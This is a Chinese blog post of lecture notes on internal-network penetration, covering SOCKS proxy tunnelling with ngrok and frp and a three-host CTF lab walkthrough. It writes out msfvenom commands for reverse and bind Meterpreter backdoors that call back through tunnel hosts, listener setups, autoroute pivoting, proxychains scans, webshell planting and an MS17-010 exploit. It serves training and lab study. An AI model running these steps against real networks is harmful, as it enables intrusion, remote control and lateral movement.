70：内网安全-域横向内网漫游Socks代理隧道技术

思维导图

必要基础知识点：

1.内外网简单知识

  • 内网ip地址是私有ip地址（10/8, 172.16/12 , 192.168/16），除此之外就是外网ip。

2.内网1和内网2通信问题

  • 两个不同的内网的主机想要通过CS或者MSF等工具实现控制或者通讯是不可能的，必须要借助代理。

3.正反向协议通信连接问题

  • 正向：控制端主动去连接被控端
  • 反向：被控端主动去连接控制端
  • 为什么要区分正向和反向？--因为如果控制端是外网主机，被控端是内网主机，就相当于控制端有一个唯一的IP地址（比如103.12.4.11），通过这个IP地址就可以找到控制端，而在内网的被控端（比如192.168.23.36），你通过控制端主动去找是找不到的，因为这个内网IP地址并不是唯一的，可能很多内网都用了这个IP地址，你根本没法找。此时就需要反向连接了，让内网的被控端主动去找外网的控制端。

4.内网穿透代理隧道技术说明

  • 隧道主要解决流量分析工具、流量监控工具、防火墙等相关工具的过滤问题
  • 代理主要解决网络的连通性问题

本课主要讲解内网渗透-横向渗透-穿透-代理相关知识点：

  • 代理技术主要解决3种问题：内网有外网，内网有过滤（防火墙），内网无外网（单纯主机服务器，无网络）
  • 代理主要分为：正向代理和反向代理（以下案例均有涉及）
  • 代理相关工具：nps、frp、ngrok、reGeorg、sockscap65、earthworm、proxifier、proxychains
    • 案例涉及工具：frp、ngrok、sockscap65、proxifier、proxychains
    • nps、reGeorg工具：案例未涉及，可自行学习
    • EarthWorm(简称EW)：已永久停止更新，本课不再讲解。

本课重点：

  • 案例1：内网穿透Ngrok测试演示-两个内网通讯上线
  • 案例2：内网穿透Frp自建跳板测试-两个内网通讯上线
  • 案例3：CFS三层内网漫游安全测试演练-某CTF线下2019

案例1：内网穿透Ngrok测试演示-两个内网通讯上线

实验环境：两个不同的内网(有网络)实现穿透控制

1.注册-购买-填写-确认

国外地址：https://ngrok.com/
国内地址：https://www.ngrok.cc/
国外的比较卡慢，用国内的就行
2022.01.18：国内的太麻烦了，亲测还是国外的好用，另外，国内有一款花生壳应该也不错，可以试试
协议：http 本地端口：192.168.76.132:4444

2.测试：内网1执行后门-免费主机处理-内网2监听-内网2接受器

启动ngrok客户端
./sunny clientid <隧道id>

在kali下生成后门（因为选择的是http协议，所以这里是reverse_http），并把后门test.exe复制到windows7
msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcfengye.com lport=80 -f exe -o test.exe

配置并监听（一旦xiaodisec.free.idcfengye.com有流量，就发给本地192.168.76.132:4444）
msfconsole
use exploit/multi/handler 
set payload windows/meterpreter/reverse_http 
set lhost 192.168.76.132
set lport 4444
exploit

案例演示

<1>注册，登录

<2>点击ngrok客户端下载

<3>根据操作系统版本选择对应的客户端下载（我们用的kali作为内网肉鸡,下载的就是linux版本）

<4>开通隧道（仅做测试用，使用免费的即可，免费的不稳定容易断，实战中建议使用收费版）

<5>本地端口配置的是内网肉鸡kali的IP:Port

<6>开两台虚拟机模拟内外网，其中kali模拟内网肉鸡，windows7模拟外网主机（后面几步用msf生成后门，再用另一台电脑来执行这个后门，两台电脑实现互联）

<7>将ngrok客户端传到内网肉鸡 kali上，解压缩

<8>启动

<9>隧道状态变为online

<10>生成后门

<11>把后门test.exe复制到windows7

<12>配置并监听（一旦xiaodisec.free.idcfengye.com有流量，就发给本地192.168.76.132:4444）

msfconsole
use exploit/multi/handler 
set payload windows/meterpreter/reverse_http 
set lhost 192.168.76.132
set lport 4444
exploit

<13>在windows7上双击启动后门test.exe

<14>kali上监听到会话，ngrok客户端监听到流量

案例2-内网穿透Frp自建跳板测试-两个内网通讯上线

FRP说明文档：https://gofrp.org/docs/

Frp工具：开源免费，自行搭建，方便修改，成本低，使用多样化，防止隐私泄露。而Ngrok工具使用的是别人的服务器，容易泄露隐私数据。

1.服务端-下载-解压-修改-启动（阿里云主机记得修改安全组配置出入口）
FRP下载地址：https://github.com/fatedier/frp/releases
服务器修改配置文件frps.ini：
[common]
bind_port = 6677
启动服务端：
./frps -c ./frps.ini

2.控制端-下载-解压-修改-启动
控制端修改配置文件frpc.ini：
[common]
server_addr = 你的云主机ip
server_port = 6677 #frpc工作端口，必须和上面frps保持一致
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555 #转发给本机的5555
remote_port = 6000 #服务端用6000端口转发给本机

启动客户端(kali)：
./frpc -c ./frpc.ini

生成后门：
msfvenom -p windows/meterpreter/reverse_tcp lhost=你的公网ip lport=6000 -f exe -o frp.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit

3.靶机运行frp即可

案例演示

1.服务端-下载-解压-修改-启动（阿里云主机记得修改安全组配置出入口）

服务器修改配置文件frps.ini：
[common]
bind_port = 6677
启动服务端：
./frps -c ./frps.ini

2.控制端-下载-解压-修改-启动

<1>控制端修改配置文件frpc.ini

[common]
server_addr = 你的云主机ip
server_port = 6677 #frpc工作端口，必须和上面frps保持一致
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555 #转发给本机的5555
remote_port = 6000 #服务端用6000端口转发给本机

<2>启动客户端(kali)

./frpc -c ./frpc.ini

此时服务端收到端口连接

<3>生成后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=你的公网ip lport=6000 -f exe -o frp.exe

<4>配置监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555 
exploit

3.将后门文件拷贝到靶机，运行。如上图所示，监听到会话。

案例3：CFS三层内网漫游安全测试演练-某CTF线下2019

来源2019某CTF线下赛真题内网结合WEB攻防题库，涉及WEB攻击，内网代理路由等技术，每台服务器存在一个Flag,获取每一个Flag对应一个积分，获取三个Flag结尾。

Target1（centos7 x64）：
探针目标-利用WEB漏洞(TP5_RCE)-获取webshell权限-获取Flag-Target2

1.生成后门：
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132 LPORT=1111 -f elf >t1.elf

2.接受反弹：
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.76.132
set LPORT 1111
exploit

3.信息收集及配置访问
获取网络接口：run get_local_subnets
查看路由地址：run autoroute -p 
添加路由地址：run autoroute -s 192.168.22.0/24
开启本地代理：
use auxiliary/server/socks4a
set srvport 2222
exploit

4.利用本地代理接口访问测试
设置浏览器代理进行访问测试
linux：
配置proxychains（代理工具）后调用工具探针Target2
/etc/proxychains.conf
socks4 192.168.76.132 2222（在配置文件中添加）
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80  
-Pn：扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT：扫描TCP数据包已建立的连接connect

windows：
利用代理工具Proxifier或SocksCap64载入代理进行进程访问测试

Target2（ubuntu x64）：
探针目标-利用WEB漏洞(SQL注入)-后台获取webshell权限-获取Flag-Target3
http://192.168.22.128/index.php?r=vul&keyword=1 #sql注入
http://192.168.22.128/index.php?r=admini/public/login #后台
http://192.168.22.128/index.php?r=special #后门shell

1.生成正向后门：
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf

2.访问接受：
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.128
set LPORT 3333
exploit

3.信息收集及配置访问
获取网络接口：run get_local_subnets
查看路由地址：run autoroute -p
添加路由地址：run autoroute -s 192.168.33.0/24

Target3:（windows7 x64）
探针目标-端口及漏洞扫描-利用MS17010获取系统权限-获取Flag-GG
proxychains4 nmap -Pn -sT 192.168.33.33
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
exploit
shell
dir /S flag.txt /B
type xxxxx.txt

案例演示

环境准备

Target1（centos7 x64）：

探针目标-利用WEB漏洞(TP5_RCE)-获取webshell权限-获取Flag-Target2

<1>探针目标，发现target1上面部署了thinkphp v5

<2>验证是否存在远程命令执行漏洞，结果存在。

<3>利用漏洞，可以直接执行命令

<4>通过命令可以直接写入后门

<5>浏览器查看一下，写入成功

<6>蚁剑连接，拿到第1个flag。

连接上去之后，可以用它当做跳板，但是蚁剑比较麻烦，此时可以改用CS神器或者MSF，因为使用CS或者MSF时，即使权限不够，我们也可以进行一些操作。

<7>接下来我们开始渗透Target2。kali直接与target2连接是连不上的。因为kali网段是76，target2网段是22，二者不在同一个网段，无法互联，但是target1网段是76和22，target1既跟kali同一网段，又跟target2同一网段，因此，我们可以将target1作为跳板，实现kali和target2的互联。

<8>生成后门（kali上）：

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132 LPORT=1111 -f elf >t1.elf

<9>设置监听，准备接受反弹（kali上）：

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.76.132
set LPORT 1111
exploit

<10>将生成的后门通过蚁剑webshell上传到target1主机，执行后门。

<11>此时kali上接收到会话，getuid可以查看会话权限。

<12>信息收集及配置访问。

由于测试环境是我们自己准备的，所以我们知道target2主机的网段及IP地址。但是在实战中，我们应该是未知的，因此我们需要首先进行信息收集，以获得目标target2的相关信息，为进一步的渗透做准备。

首先，获取网络接口：run get_local_subnets ，由结果我们得知，target1存在两个网络接口，一个76，一个22，76与kali同一网段，是连接外网的，那22就是连接内网（局域网）的。

然后，查看路由地址：run autoroute -p ，发现当前的路由地址是空的

接着，我们就要添加路由地址：run autoroute -s 192.168.22.0/24

最后，再查看一下路由地址，确认添加成功。

添加路由地址成功，说明在刚才反弹的session1会话上，我们添加了一个22网段的网络接口。此时我们就可以通过这个路由跟22网段进行通讯了。虽然能够通讯了，但是我们的目标是攻击target2，要攻击就需要使用到工具，由于路由是写到了maf建立的会话上面，有些工具没法用。此时我们就需要开一个代理，开这个代理就相当于开一个接口给其他人用。
<13>开启本地代理

use auxiliary/server/socks4a
set srvport 2222
exploit

<14>利用本地代理接口访问测试

首先，kali上配置proxychains（代理工具），修改/etc/proxychains.conf配置文件

socks4 192.168.76.132 2222（在配置文件中添加）

然后，调用工具探针Target2，扫描结果发现，80端口开放。

proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80 
-Pn：扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT：扫描TCP数据包已建立的连接connect

接着，浏览器修改代理配置

最后，此时kali上我们就可以正常访问target2上的服务了（以前是无法连接状态）

Target2（ubuntu x64）：

探针目标-利用WEB漏洞(SQL注入)-后台获取webshell权限-获取Flag-Target3

<1>探针目标，利用SQL注入，拿到后台密码，登录后台。

http://192.168.22.128/index.php?r=vul&keyword=1 #sql注入
http://192.168.22.128/index.php?r=admini/public/login #后台
http://192.168.22.128/index.php?r=special #后门shell

首先探针目标，在源码中直接找到线索，target2上的CMS服务存在SQL注入漏洞。

然后，通过sqlmap扫描注入点找到用户名密码。

接着，通过robots.txt文件找到了后台地址。\

最后，使用用户名密码登录后台。

登录成功，拿到第2个flag。

<2>通过后台模板功能，写入后门。

<3>配置蚁剑代理，测试连接，保存连接，访问，拿到webshell。

以上是kali linux的代理访问设置，如果攻击机是windows的话，还可以利用代理工具Proxifier或SocksCap64载入代理进行远程访问测试。

Proxifier全局代理：

SocksCap64代理：

首先，点击代理，配置代理地址、端口和代理类型。

然后，点击程序，选择需要使用该代理的程序。（比如某些程序本身没有代理配置，此时就可以与SocksCap64配合使用代理）

最后，右击添加的程序，选择"在代理隧道中运行选中程序"。

<4>生成正向后门

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf

<5>访问接收

use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.128
set LPORT 3333
exploit

<6>将后门通过webshell上传，执行

<7>接收到会话

<8>信息收集及配置访问

获取网络接口：run get_local_subnets
查看路由地址：run autoroute -p
添加路由地址：run autoroute -s 192.168.33.0/24

接下来对3333端口进行攻击，由于目标主机是windows系统，我们以前讲过很多攻击工具，比如，namp --script=all、namp --script=vuln、nessus等。

Target3:（windows7 x64）

探针目标-端口及漏洞扫描-利用MS17010获取系统权限-获取Flag-GG

<1>探针目标，发现开放了445和3389端口，且存在MS17010漏洞。

proxychains4 nmap -Pn -sT 192.168.33.33

<2>利用MS17010获取系统权限

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
exploit

<3>监听到会话，得到system权限。

<4>搜索关键字，得到第3个flag。

shell
dir /S flag.txt /B
type xxxxx.txt

posted @ 2021-10-11 16:33  zhengna  阅读(1326)  评论(0)  编辑  收藏  举报